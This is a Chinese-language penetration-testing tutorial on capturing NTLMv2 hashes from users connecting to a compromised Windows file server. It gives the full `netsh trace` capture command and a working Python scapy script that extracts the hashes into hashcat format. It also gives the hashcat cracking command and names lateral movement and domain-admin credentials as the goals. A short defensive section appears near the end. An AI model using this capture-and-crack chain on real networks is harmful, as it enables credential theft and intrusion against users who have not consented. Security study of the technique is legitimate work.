渗透技巧——利用netsh抓取连接文件服务器的NTLMv2 Hash
字数 1560 2025-08-29 08:32:01
利用netsh抓取连接文件服务器的NTLMv2 Hash渗透技巧
0x00 前言
本文介绍如何在内网渗透中利用Windows系统自带的netsh工具抓取连接文件服务器的NTLMv2 Hash,并通过自动化解析和破解技术获取更多用户凭证。
0x01 技术背景
NTLM认证流程回顾
- 客户端连接文件服务器时,默认会发送当前登录用户的密码Hash进行验证
- 如果验证失败,才会提示用户输入用户名和密码
- 作为攻击者,如果控制了文件服务器,可以抓取这些认证流量获取其他用户的NTLMv2 Hash
NTLMv2 Hash特点
- 包含用户名、域名、服务器挑战和客户端响应
- 格式为:
username::domain:challenge:HMAC-MD5:blob - 可通过Hashcat进行离线破解
0x02 技术实现
第一步:使用netsh进行网络抓包
netsh trace命令参数详解:
netsh trace start
capture=yes # 开启抓包功能
persistent=yes # 系统重启后保持抓包状态
traceFile="c:\\test\\snmp1.etl" # 抓包文件保存路径
overwrite=yes # 覆盖已存在文件
correlation=no # 不收集关联事件
protocol=tcp # 只抓TCP协议
ipv4.address=192.168.62.130 # 只抓与指定IP相关的流量
keywords=ut:authentication # 只抓认证相关流量
操作步骤:
- 以管理员身份运行cmd
- 执行上述netsh命令开始抓包
- 等待足够时间让客户端连接
- 执行
netsh trace stop停止抓包
注意事项:
- 仅支持Win7、Server2008R2及更高版本
- Server2008不支持此功能
- 抓包文件为.etl格式,需要转换后才能分析
第二步:转换抓包文件格式
-
下载安装Windows Message Analyzer:
- 官方下载:https://www.microsoft.com/en-us/download/confirmation.aspx?id=44226
-
转换步骤:
- 打开Message Analyzer
- 导入.etl文件
- 等待解析完成(左下角显示"Ready")
- 选择"File" > "Save As" > "Export"保存为.cap格式
-
使用Wireshark打开.cap文件验证抓包结果
第三步:提取NTLMv2 Hash
手动提取方法:
-
在Wireshark中过滤SMB2协议
-
找到NTLMSSP认证流程的数据包
-
从数据包中提取以下信息:
- 用户名
- 域名
- 服务器挑战(Challenge)
- HMAC-MD5值
- Blob数据
-
拼接成Hashcat可识别的格式:
username::domain:challenge:HMAC-MD5:blob
自动化提取Python脚本:
#!/usr/bin/env python
try:
import scapy.all as scapy
except ImportError:
import scapy
try:
import scapy_http.http
except ImportError:
from scapy.layers import http
packets = scapy.rdpcap('6.pcap')
Num = 1
for p in range(len(packets)):
try:
if packets[p]['TCP'].dport ==445:
TCPPayload = packets[p]['Raw'].load
if TCPPayload.find('NTLMSSP') != -1:
if len(TCPPayload) > 500:
print "Hashcat NTLMv2 No.%d"%(Num)
Num = Num+1
print ("PacketNum: %d"%(p+1))
print ("src: %s"%(packets[p]['IP'].src))
print ("dst: %s"%(packets[p]['IP'].dst))
Flag = TCPPayload.find('NTLMSSP')
ServerTCPPayload = packets[p-1]['Raw'].load
ServerFlag = ServerTCPPayload.find('NTLMSSP')
ServerChallenge = ServerTCPPayload[ServerFlag+24:ServerFlag+24+8].encode("hex")
print ("ServerChallenge: %s"%(ServerChallenge))
DomainLength1 = int(TCPPayload[Flag+28:Flag+28+1].encode("hex"),16)
DomainLength2 = int(TCPPayload[Flag+28+1:Flag+28+1+1].encode("hex"),16)*256
DomainLength = DomainLength1 + DomainLength2
DomainNameUnicode = TCPPayload[Flag+88:Flag+88+DomainLength]
DomainName = [DomainNameUnicode[i] for i in range(len(DomainNameUnicode)) if i%2==0]
DomainName = ''.join(DomainName)
print ("DomainName: %s"%(DomainName))
UserNameLength1 = int(TCPPayload[Flag+36:Flag+36+1].encode("hex"),16)
UserNameLength2 = int(TCPPayload[Flag+36+1:Flag+36+1+1].encode("hex"),16)*256
UserNameLength = UserNameLength1 + UserNameLength2
UserNameUnicode = TCPPayload[Flag+88+DomainLength:Flag+88+DomainLength+UserNameLength]
UserName = [UserNameUnicode[i] for i in range(len(UserNameUnicode)) if i%2==0]
UserName = ''.join(UserName)
print ("UserName: %s"%(UserName))
NTLMResPonseLength1 = int(TCPPayload[Flag+20:Flag+20+1].encode("hex"),16)
NTLMResPonseLength2 = int(TCPPayload[Flag+20+1:Flag+20+1+1].encode("hex"),16)*256
NTLMResPonseLength = NTLMResPonseLength1 + NTLMResPonseLength2
NTLMResPonse = TCPPayload[Flag+174:Flag+174+NTLMResPonseLength].encode("hex")
print "Hashcat NTLMv2:"
print ("%s::%s:%s:%s:%s"%(UserName,DomainName,ServerChallenge,NTLMResPonse[:32],NTLMResPonse[32:]))
except:
pass
脚本使用说明:
- 先将.cap文件转换为pcap格式(Wireshark可直接另存为)
- 安装Python依赖:
scapy和scapy_http - 修改脚本中的pcap文件名
- 运行脚本自动提取NTLMv2 Hash
第四步:破解NTLMv2 Hash
使用Hashcat进行破解:
hashcat -m 5600 ntlmv2.hash rockyou.txt
参数说明:
-m 5600:指定NTLMv2哈希类型ntlmv2.hash:包含提取的哈希文件rockyou.txt:密码字典文件
0x03 技术细节与注意事项
端口相关
- 默认使用445端口(SMB over TCP)
- 如果禁用445端口但启用NetBIOS over TCP/IP,会回退到139端口
- 如果完全禁用NetBIOS over TCP/IP,禁用445端口后将无法使用文件共享
数据包分析要点
- 识别NTLMSSP认证流程
- 正确提取各字段长度(注意小端序存储)
- Unicode字符串需要转换为ASCII(取奇数位字节)
防御措施
- 禁用NTLM认证,强制使用Kerberos
- 配置SMB签名防止中间人攻击
- 监控异常的网络抓包行为
0x04 总结
本技术利用Windows内置工具实现:
- 无需安装第三方软件即可抓包
- 自动化提取NTLMv2 Hash
- 离线破解获取更多用户凭证
在内网渗透中,这种技术可以:
- 横向移动获取更多主机权限
- 提升权限获取域管理员凭证
- 收集敏感信息进行进一步攻击